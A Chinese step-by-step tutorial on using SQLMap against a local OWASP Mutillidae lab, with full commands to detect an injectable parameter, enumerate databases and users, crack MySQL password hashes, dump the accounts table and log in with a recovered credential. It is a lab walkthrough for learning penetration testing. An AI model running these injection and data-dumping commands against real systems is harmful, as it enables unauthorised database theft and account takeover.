(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据
目录结构
一、判断被测url的参数是否存在注入点
二、获取数据库系统的所有数据库名称(暴库)
三、获取Web应用当前所连接的数据库
四、获取Web应用当前所操作的DBMS用户
五、列出数据库中的所有用户
六、列出数据库中所有账户-对应的密码哈希
七、列出指定数据库中的所有数据表
八、列出指定数据表中的所有字段(列)
九、导出指定数据表中的列字段进行保存
十、根据导出的数据,验证数据有效性
利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)
一、判断被测url的参数是否存在注入点
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]


从以上信息可知:
1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
3)检测的结果会自动保存到设定的目录下供查看
二、获取数据库系统的所有数据库名称(暴库)
枚举DBMS所有数据库: --dbs
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs
执行结果:检测列出了Mysql数据库管理系统中的6个数据库

三、获取Web应用当前所连接的数据库
检索DBMS当前数据库: --current-db
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db
执行结果:当前连接的数据库是nowasp

四、获取Web应用当前所操作的DBMS用户
检索DBMS当前用户: --current-user
SQLMap执行命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user
执行结果:当前操作的用户未root权限的超级用户

五、列出数据库中的所有用户
枚举DBMS所有用户: --users
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users
执行结果:DBMS中的所有用户都是root权限的超级用户

六、列出数据库中所有账户-对应的密码哈希
枚举DBMS所有用户的密码哈希: --passwords
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击
执行结果:
root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

采用的是mysql5方式加密(http://www.cmd5.com/)

七、列出指定数据库中的所有数据表
枚举DBMS数据库中的所有表: -D xx库 --tables
参数:
-D 指定数据库名称
--tables 列出所有数据表
首先再查看一下第二步中检测出的所有数据库名称:

比如本次选择检测数据库为nowasp,则
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables
执行结果:检测nowasp数据库,列出了其下的13个表

八、列出指定数据表中的所有字段(列)
枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns
参数:
-D 指定数据库名称
-T 指定数据表名称
--columns 列出所有字段(列)
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns
执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

九、导出指定数据表中的列字段进行保存
导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump
参数:
-D 指定数据库名称
-T 指定数据表名称
-C 指定需要枚举的DBMS数据库表字段
--dump 导出DBMS数据表项
SQLMap操作命令:(导出部分字段)python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump
执行结果:检测列出了指定的字段值

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

导出的结果会自动存储到特定的文件路径下

十、根据导出的数据,验证数据有效性
从刚才导出的字段值中,选取一组username/password:admin---adminpass
输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据的更多相关文章
- python使用sqlmap API检测SQL注入
0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...
- sql脚本来获取数据库中的所有表结构了
sql脚本来获取数据库中的所有表结构了,代码如下: use AdventureWorks2008 go SELECT (case when a.colorder=1 then d.name else ...
- sqlmap检测sql注入漏洞
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- 使用 UEditor 编辑器获取数据库中的数据
在 ThinkPHP 3.2.2 中,使用 UEditor 编辑器获取数据库中保存的数据,可以使用 UEditor 自身提供的方法. 首先在视图模板中实例化编辑器,这是出现编辑器界面的必须的行为: & ...
- 用SQLMAP工具进行SQL注入
1.检查注入点 [注入点需要自己寻找,可以利用一些工具,例如:Acunetix Web Vulnerability scanner (WVS),AppScan等]u表示URL. sqlmap - ...
- 当From窗体中数据变化时,使用代码获取数据库中的数据然后加入combobox中并且从数据库中取得最后的结果
private void FormLug_Load(object sender, EventArgs e) { FieldListLug.Clear();//字段清除 DI = double.Pars ...
- 根据不同的实体及其ID来获取数据库中的数据
/// <summary> /// 根据不同的实体和其ID来获取信息 /// </summary> /// <typeparam name="T"&g ...
- php页面获取数据库中的数据
<!DOCTYPE HTML><html> <head> <meta charset="utf-8" /> ...
随机推荐
- css3 文字处理
text-overflow:ellipsis;超出的文字显示...前提是该盒子必须有overflow:hidden;属性 text-shadow 文字阴影 direction:控制文字方向,值有dow ...
- Linux常用命令~新手必知
ifconfig查看本机IP ls 查看当前目录下所有文件及文件夹 ll 以详细方式显示所有文件与文件夹.(相当于 ls -l 命令) pwd 显示当前目录路径 cd /user ...
- node mysql模块写入中文字符时的乱码问题
刚刚发现一个奇怪的问题: 在node上用mysql模块将数据写入数据库的时候,在cmd上打开mysql发现select出来的中文是乱码.但这就奇怪了. 因为本机在安装mysql的时候就已经在配置文件将 ...
- Djano之ORM多表查询操作
# 把 model 转化为 迭代器去循环 MODEL.objects.all().iterator() # 等同于 values, values_list, 但是 only 这种方式 获取字段属性依旧 ...
- mysql小白系列_11 MHA补充
1.ssh_user 使用VIP方式需要在新的master主机上对网卡启alias并设置IP,普通用户没权限 2.VIP问题 配置以后主从后,在MHA管理节点启动masterha_manager,VI ...
- springboot使用redis的keyspace notifications 实现定时通知
简单定时任务解决方案:使用redis的keyspace notifications(键失效后通知事件) 需要注意此功能是在redis 2.8版本以后推出的,因此你服务器上的reids最少要是2.8版本 ...
- 201771010128 王玉兰《面象对象程序设计 (Java) 》第六周学习总结
---恢复内容开始--- 第一部分:基础知识总结: 1.继承 A:用已有类来构建新类的一种机制,当定义了一个新类继承一个类时,这个新类就继承了这个类的方法和域以适应新的情况: B:特点:具有层次结构. ...
- MySQL浮点数和定点数
MySQL 分为两种方式:浮点数和定点数.浮点数包括 float(单精度)和 double(双精度),而定点数则只有 decimal 一种表示.定点数在 MySQL 内部以字符串形式存放,比浮点数更精 ...
- 数据库对应的jdb连接
数据库Database URLJDBC Driver class驱动包 Mysqljdbc:mysql://localhost:port/DBnamecom.mysql.jdbc.Drivermysq ...
- 对 getopts 的理解
getopts 格式 1 #!/bin/bash 2 echo "begin index is $OPTIND" 3 echo "begin ARG is $OPTARG ...